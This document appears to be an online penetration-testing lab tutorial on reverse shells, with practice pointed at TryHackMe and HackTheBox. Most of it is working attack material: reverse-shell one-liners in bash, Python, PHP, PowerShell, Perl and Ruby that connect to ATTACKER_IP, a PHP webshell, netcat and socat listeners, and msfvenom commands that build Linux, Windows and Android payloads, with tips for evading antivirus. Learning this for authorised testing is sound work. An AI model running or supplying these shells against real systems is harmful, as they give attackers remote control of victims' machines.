🎯 Lab Objectives

  • Understand the difference between bind shells and reverse shells
  • Set up a netcat listener on your attacker machine
  • Use multiple languages to establish a reverse shell
  • Upgrade a basic shell to a fully interactive TTY
  • Generate payloads with msfvenom for different platforms

Step 1 — Bind Shell vs Reverse Shell

🔒 Bind Shell

Victim opens a port. Attacker connects TO the victim. Blocked by most firewalls.

🔄 Reverse Shell

Victim connects back TO attacker. Bypasses firewalls that block inbound but allow outbound.

Reverse shells are used in 99% of real exploits because most firewalls allow outbound connections but block inbound ones.

Step 2 — Setting Up a Netcat Listener

Before sending any reverse shell, start a listener on your Kali machine to catch the connection.

# Start listener on port 4444
nc -lvnp 4444

# Flags explained:
# -l  → listen mode
# -v  → verbose (show connections)
# -n  → no DNS resolution (faster)
# -p  → port number

# Use rlwrap for arrow key support (much nicer shell)
rlwrap nc -lvnp 4444

# Your listener is now waiting for the victim to connect
# You need your attacker IP (the IP the victim will connect to)
ip a | grep "inet " | grep -v 127

Step 3 — Bash Reverse Shell

# Run on the VICTIM machine (replace IP + PORT with yours)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Alternative bash variants
/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# URL-encoded version (for web exploits)
bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'

# What this does:
# /dev/tcp/IP/PORT → Linux's built-in TCP pseudofile
# >& redirects both stdout and stderr to the socket
# 0>&1 redirects stdin from the socket
# Result: your shell commands go over the network

Step 4 — Python Reverse Shell

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Check Python version on victim
python --version
python3 --version

Step 5 — PHP Reverse Shell

# One-liner (for command injection or RCE)
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Full PHP reverse shell file (upload as .php webshell)
<?php
$ip = 'ATTACKER_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>

# PentestMonkey PHP reverse shell (most popular)
# Download from: github.com/pentestmonkey/php-reverse-shell
# Edit $ip and $port variables, then upload to target

Step 6 — PowerShell (Windows)

# PowerShell reverse shell (run on Windows victim)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Bypass execution policy
powershell -ep bypass -c "..."

# Encoded version (bypasses some AV detection)
# Use revshells.com to generate encoded variants

# Netcat for Windows (if nc.exe is on the system)
nc.exe -e cmd.exe ATTACKER_IP 4444

Step 7 — Upgrading Your Shell (TTY)

A raw reverse shell is limited — no tab completion, arrow keys don't work, Ctrl+C kills the shell. Upgrade it to a full TTY.

# After catching the shell, check what's available
which python python3 perl ruby

# Method 1: Python PTY (most common)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then on your local machine:
Ctrl+Z          # background the shell
stty raw -echo  # set terminal to raw mode
fg              # bring shell back
export TERM=xterm

# Method 2: script
script /dev/null -c bash

# Method 3: socat (best full TTY)
# On attacker — start socat listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# On victim — connect back:
socat tcp-connect:ATTACKER_IP:4444 exec:bash,pty,stderr,setsid,sigint,sane

Step 8 — msfvenom Payloads

# Generate a Linux reverse shell binary
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf

# Windows reverse shell executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

# Windows with Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o meter.exe

# PHP webshell payload
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.php

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -o evil.apk

# Catch msfvenom payloads with Metasploit
msfconsole -q -x "use multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST ATTACKER_IP; set LPORT 4444; run"

📋 Reverse Shell One-Liners

LanguageOne-liner (replace IP/PORT)
Bashbash -i >& /dev/tcp/IP/4444 0>&1
Python 3python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("sh")'
Netcatnc -e /bin/bash IP 4444
Netcat (no -e)rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 4444 >/tmp/f
PHPphp -r '$s=fsockopen("IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Perlperl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
Rubyruby -rsocket -e'f=TCPSocket.open("IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Lab Complete! Always upgrade your shell to a full TTY immediately after catching it. Practice on TryHackMe or HackTheBox to get comfortable.

Sign into track progress and send feedback.